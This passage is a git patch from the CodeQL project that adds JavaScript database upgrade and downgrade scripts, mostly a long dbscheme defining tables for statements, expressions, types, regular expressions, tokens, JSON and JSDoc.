/dev/null +++ b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties @@ -0,0 +1,2 @@ +description: split up qualified names in jsdoc type exprs +compatibility: backwards From ab1f9292284a49233ab7e59de7b6d0bcbc66ecee Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 24 Mar 2025 12:10:12 +0100 Subject: [PATCH 105/121] JS: Add downgrade script --- .../old.dbscheme | 1194 +++++++++++++++++ .../semmlecode.javascript.dbscheme | 1193 ++++++++++++++++ .../upgrade.properties | 2 + 3 files changed, 2389 insertions(+) create mode 100644 javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/old.dbscheme create mode 100644 javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/semmlecode.javascript.dbscheme create mode 100644 javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties diff --git a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/old.dbscheme b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/old.dbscheme new file mode 100644 index 00000000000..ccefb5e2d49 --- /dev/null +++ b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/old.dbscheme @@ -0,0 +1,1194 @@ +/*** Standard fragments ***/ + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- JavaScript-specific part -*/ + +@location = @location_default + +@sourceline = @locatable; + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +is_externs (int toplevel: @toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url +| 4 = @template_toplevel; + +is_module (int tl: @toplevel ref); +is_nodejs (int tl: @toplevel ref); +is_es2015_module (int tl: @toplevel ref); +is_closure_module (int tl: @toplevel ref); + +@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag; +toplevel_parent_xml_node( + unique int toplevel: @toplevel ref, + int xmlnode: @xml_node_with_code ref); + +xml_element_parent_expression( + unique int xmlnode: @xmlelement ref, + int expression: @expr ref, + int index: int ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmt_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmt_containers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jump_targets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer; +@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration; + +case @stmt.kind of + 0 = @empty_stmt +| 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @labeled_stmt +| 5 = @break_stmt +| 6 = @continue_stmt +| 7 = @with_stmt +| 8 = @switch_stmt +| 9 = @return_stmt +| 10 = @throw_stmt +| 11 = @try_stmt +| 12 = @while_stmt +| 13 = @do_while_stmt +| 14 = @for_stmt +| 15 = @for_in_stmt +| 16 = @debugger_stmt +| 17 = @function_decl_stmt +| 18 = @var_decl_stmt +| 19 = @case +| 20 = @catch_clause +| 21 = @for_of_stmt +| 22 = @const_decl_stmt +| 23 = @let_stmt +| 24 = @legacy_let_stmt +| 25 = @for_each_stmt +| 26 = @class_decl_stmt +| 27 = @import_declaration +| 28 = @export_all_declaration +| 29 = @export_default_declaration +| 30 = @export_named_declaration +| 31 = @namespace_declaration +| 32 = @import_equals_declaration +| 33 = @export_assign_declaration +| 34 = @interface_declaration +| 35 = @type_alias_declaration +| 36 = @enum_declaration +| 37 = @external_module_declaration +| 38 = @export_as_namespace_declaration +| 39 = @global_augmentation_declaration +| 40 = @using_decl_stmt +; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt; + +@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration; + +@namespace_definition = @namespace_declaration | @enum_declaration; +@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member; + +is_instantiated(unique int decl: @namespace_declaration ref); + +@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field; +has_declare_keyword(unique int stmt: @declarable_node ref); + +is_for_await_of(unique int forof: @for_of_stmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @expr_or_type ref); + +enclosing_stmt (unique int expr: @expr_or_type ref, + int stmt: @stmt ref); + +expr_containers (unique int expr: @expr_or_type ref, + int container: @stmt_container ref); + +array_size (unique int ae: @arraylike ref, + int sz: int ref); + +is_delegating (int yield: @yield_expr ref); + +@expr_or_stmt = @expr | @stmt; +@expr_or_type = @expr | @typeexpr; +@expr_parent = @expr_or_stmt | @property | @function_typeexpr; +@arraylike = @array_expr | @array_pattern; +@type_annotation = @typeexpr | @jsdoc_type_expr; +@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel; + +case @expr.kind of + 0 = @label +| 1 = @null_literal +| 2 = @boolean_literal +| 3 = @number_literal +| 4 = @string_literal +| 5 = @regexp_literal +| 6 = @this_expr +| 7 = @array_expr +| 8 = @obj_expr +| 9 = @function_expr +| 10 = @seq_expr +| 11 = @conditional_expr +| 12 = @new_expr +| 13 = @call_expr +| 14 = @dot_expr +| 15 = @index_expr +| 16 = @neg_expr +| 17 = @plus_expr +| 18 = @log_not_expr +| 19 = @bit_not_expr +| 20 = @typeof_expr +| 21 = @void_expr +| 22 = @delete_expr +| 23 = @eq_expr +| 24 = @neq_expr +| 25 = @eqq_expr +| 26 = @neqq_expr +| 27 = @lt_expr +| 28 = @le_expr +| 29 = @gt_expr +| 30 = @ge_expr +| 31 = @lshift_expr +| 32 = @rshift_expr +| 33 = @urshift_expr +| 34 = @add_expr +| 35 = @sub_expr +| 36 = @mul_expr +| 37 = @div_expr +| 38 = @mod_expr +| 39 = @bitor_expr +| 40 = @xor_expr +| 41 = @bitand_expr +| 42 = @in_expr +| 43 = @instanceof_expr +| 44 = @logand_expr +| 45 = @logor_expr +| 47 = @assign_expr +| 48 = @assign_add_expr +| 49 = @assign_sub_expr +| 50 = @assign_mul_expr +| 51 = @assign_div_expr +| 52 = @assign_mod_expr +| 53 = @assign_lshift_expr +| 54 = @assign_rshift_expr +| 55 = @assign_urshift_expr +| 56 = @assign_or_expr +| 57 = @assign_xor_expr +| 58 = @assign_and_expr +| 59 = @preinc_expr +| 60 = @postinc_expr +| 61 = @predec_expr +| 62 = @postdec_expr +| 63 = @par_expr +| 64 = @var_declarator +| 65 = @arrow_function_expr +| 66 = @spread_element +| 67 = @array_pattern +| 68 = @object_pattern +| 69 = @yield_expr +| 70 = @tagged_template_expr +| 71 = @template_literal +| 72 = @template_element +| 73 = @array_comprehension_expr +| 74 = @generator_expr +| 75 = @for_in_comprehension_block +| 76 = @for_of_comprehension_block +| 77 = @legacy_letexpr +| 78 = @var_decl +| 79 = @proper_varaccess +| 80 = @class_expr +| 81 = @super_expr +| 82 = @newtarget_expr +| 83 = @named_import_specifier +| 84 = @import_default_specifier +| 85 = @import_namespace_specifier +| 86 = @named_export_specifier +| 87 = @exp_expr +| 88 = @assign_exp_expr +| 89 = @jsx_element +| 90 = @jsx_qualified_name +| 91 = @jsx_empty_expr +| 92 = @await_expr +| 93 = @function_sent_expr +| 94 = @decorator +| 95 = @export_default_specifier +| 96 = @export_namespace_specifier +| 97 = @bind_expr +| 98 = @external_module_reference +| 99 = @dynamic_import +| 100 = @expression_with_type_arguments +| 101 = @prefix_type_assertion +| 102 = @as_type_assertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigint_literal +| 107 = @nullishcoalescing_expr +| 108 = @e4x_xml_anyname +| 109 = @e4x_xml_static_attribute_selector +| 110 = @e4x_xml_dynamic_attribute_selector +| 111 = @e4x_xml_filter_expression +| 112 = @e4x_xml_static_qualident +| 113 = @e4x_xml_dynamic_qualident +| 114 = @e4x_xml_dotdotexpr +| 115 = @import_meta_expr +| 116 = @assignlogandexpr +| 117 = @assignlogorexpr +| 118 = @assignnullishcoalescingexpr +| 119 = @template_pipe_ref +| 120 = @generated_code_expr +| 121 = @satisfies_expr +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @var_decl | @varaccess; + +@identifier = @label | @varref | @type_identifier; + +@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal; + +@propaccess = @dot_expr | @index_expr; + +@invokeexpr = @new_expr | @call_expr; + +@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element; + +@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr; + +@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr; + +@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr; + +@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr; + +@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr; + +@pattern = @varref | @array_pattern | @object_pattern; + +@comprehension_expr = @array_comprehension_expr | @generator_expr; + +@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block; + +@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier; + +@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier; + +@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier; + +@type_assertion = @as_type_assertion | @prefix_type_assertion; + +@class_definition = @class_decl_stmt | @class_expr; +@interface_definition = @interface_declaration | @interface_typeexpr; +@class_or_interface = @class_definition | @interface_definition; + +@lexical_decl = @var_decl | @type_decl; +@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access; +@lexical_ref = @lexical_decl | @lexical_access; + +@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector; +@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident; + +expr_contains_template_tag_location( + int expr: @expr ref, + int location: @location ref +); + +@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file; + +template_placeholder_tag_info( + unique int node: @template_placeholder_tag, + int parentNode: @template_placeholder_tag_parent ref, + varchar(900) raw: string ref +); + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @global_scope +| 1 = @function_scope +| 2 = @catch_scope +| 3 = @module_scope +| 4 = @block_scope +| 5 = @for_scope +| 6 = @for_in_scope // for-of scopes work the same as for-in scopes +| 7 = @comprehension_block_scope +| 8 = @class_expr_scope +| 9 = @namespace_scope +| 10 = @class_decl_scope +| 11 = @interface_scope +| 12 = @type_alias_scope +| 13 = @mapped_type_scope +| 14 = @enum_scope +| 15 = @external_module_scope +| 16 = @conditional_type_scope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @function_decl_stmt | @function_expr | @arrow_function_expr; + +@parameterized = @function | @catch_clause; +@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr; + +is_generator (int fun: @function ref); +has_rest_parameter (int fun: @function ref); +is_async (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +is_arguments_object (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @local_var_type_access; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @var_decl ref, + int decl: @variable ref); + +@typebind_id = @local_type_access | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @type_decl | @var_decl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @var_decl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @local_namespace_access | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +| 10 = @static_initializer +; + +@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @var_declarator; + +is_computed (int id: @property ref); +is_method (int id: @property ref); +is_static (int id: @property ref); +is_abstract_member (int id: @property ref); +is_const_enum (int id: @enum_declaration ref); +is_abstract_class (int id: @class_decl_stmt ref); + +has_public_keyword (int id: @property ref); +has_private_keyword (int id: @property ref); +has_protected_keyword (int id: @property ref); +has_readonly_keyword (int id: @property ref); +has_type_keyword (int id: @type_keyword_operand ref); +is_optional_member (int id: @property ref); +has_definite_assignment_assertion (int id: @field_or_vardeclarator ref); +is_optional_parameter_declaration (unique int parameter: @pattern ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @function_expr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @local_type_access +| 1 = @type_decl +| 2 = @keyword_typeexpr +| 3 = @string_literal_typeexpr +| 4 = @number_literal_typeexpr +| 5 = @boolean_literal_typeexpr +| 6 = @array_typeexpr +| 7 = @union_typeexpr +| 8 = @indexed_access_typeexpr +| 9 = @intersection_typeexpr +| 10 = @parenthesized_typeexpr +| 11 = @tuple_typeexpr +| 12 = @keyof_typeexpr +| 13 = @qualified_type_access +| 14 = @generic_typeexpr +| 15 = @type_label +| 16 = @typeof_typeexpr +| 17 = @local_var_type_access +| 18 = @qualified_var_type_access +| 19 = @this_var_type_access +| 20 = @predicate_typeexpr +| 21 = @interface_typeexpr +| 22 = @type_parameter +| 23 = @plain_function_typeexpr +| 24 = @constructor_typeexpr +| 25 = @local_namespace_access +| 26 = @qualified_namespace_access +| 27 = @mapped_typeexpr +| 28 = @conditional_typeexpr +| 29 = @infer_typeexpr +| 30 = @import_type_access +| 31 = @import_namespace_access +| 32 = @import_var_type_access +| 33 = @optional_typeexpr +| 34 = @rest_typeexpr +| 35 = @bigint_literal_typeexpr +| 36 = @readonly_typeexpr +| 37 = @template_literal_typeexpr +; + +@typeref = @typeaccess | @type_decl; +@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr; +@typeaccess = @local_type_access | @qualified_type_access | @import_type_access; +@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access; +@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access; +@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access; + +@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @any_type +| 1 = @string_type +| 2 = @number_type +| 3 = @union_type +| 4 = @true_type +| 5 = @false_type +| 6 = @type_reference +| 7 = @object_type +| 8 = @canonical_type_variable_type +| 9 = @typeof_type +| 10 = @void_type +| 11 = @undefined_type +| 12 = @null_type +| 13 = @never_type +| 14 = @plain_symbol_type +| 15 = @unique_symbol_type +| 16 = @objectkeyword_type +| 17 = @intersection_type +| 18 = @tuple_type +| 19 = @lexical_type_variable_type +| 20 = @this_type +| 21 = @number_literal_type +| 22 = @string_literal_type +| 23 = @unknown_type +| 24 = @bigint_type +| 25 = @bigint_literal_type +; + +@boolean_literal_type = @true_type | @false_type; +@symbol_type = @plain_symbol_type | @unique_symbol_type; +@union_or_intersection_type = @union_type | @intersection_type; +@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type; + +has_asserts_keyword(int node: @predicate_typeexpr ref); + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +declared_function_signature( + unique int node: @function ref, + int sig: @signature_type ref +); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type; +@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +type_alias( + unique int aliasType: @type ref, + int underlyingType: @type ref); + +@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type; +@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +is_abstract_signature( + unique int sig: @signature_type ref +); + +signature_rest_parameter( + unique int sig: @signature_type ref, + int rest_param_arra_type: @type ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @type_reference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest_index( + unique int typ: @type ref, + int index: int ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslash_comment +| 1 = @slashstar_comment +| 2 = @doc_comment +| 3 = @html_comment_start +| 4 = @htmlcommentend; + +@html_comment = @html_comment_start | @htmlcommentend; +@line_comment = @slashslash_comment | @html_comment; +@block_comment = @slashstar_comment | @doc_comment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +js_parse_errors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_constant +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = @regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape +| 28 = @regexp_quoted_string +| 29 = @regexp_intersection +| 30 = @regexp_subtraction; + +regexp_parse_errors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_constant | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; +@regexp_anchor = @regexp_dollar | @regexp_caret; + +is_greedy (int id: @regexp_quantifier ref); +range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref); +range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref); +is_capture (unique int id: @regexp_group ref, int number: int ref); +is_named_capture (unique int id: @regexp_group ref, string name: string ref); +is_inverted (int id: @regexp_char_class ref); +regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref); +char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +named_backref (unique int id: @regexp_backref ref, string name: string ref); +unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +json_locations(unique int locatable: @json_locatable ref, + int location: @location_default ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +@json_locatable = @json_value | @json_parse_error; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error + | @regexpterm + | @json_locatable + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_locatable + | @xmllocatable + | @configLocatable + | @template_placeholder_tag; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @expr_parent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_identifier_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = @jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +| 15 = @jsdoc_qualified_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property; + +@optionalchainable = @call_expr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/** + * The time taken for the extraction of a file. + * This table contains non-deterministic content. + * + * The sum of the `time` column for each (`file`, `timerKind`) pair + * is the total time taken for extraction of `file`. The `extractionPhase` + * column provides a granular view of the extraction time of the file. + */ +extraction_time( + int file : @file ref, + // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`. + int extractionPhase: int ref, + // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds + int timerKind: int ref, + float time: float ref +) + +/** +* Non-timing related data for the extraction of a single file. +* This table contains non-deterministic content. +*/ +extraction_data( + int file : @file ref, + // the absolute path to the cache file + varchar(900) cacheFile: string ref, + boolean fromCache: boolean ref, + int length: int ref +) + +/*- YAML -*/ + 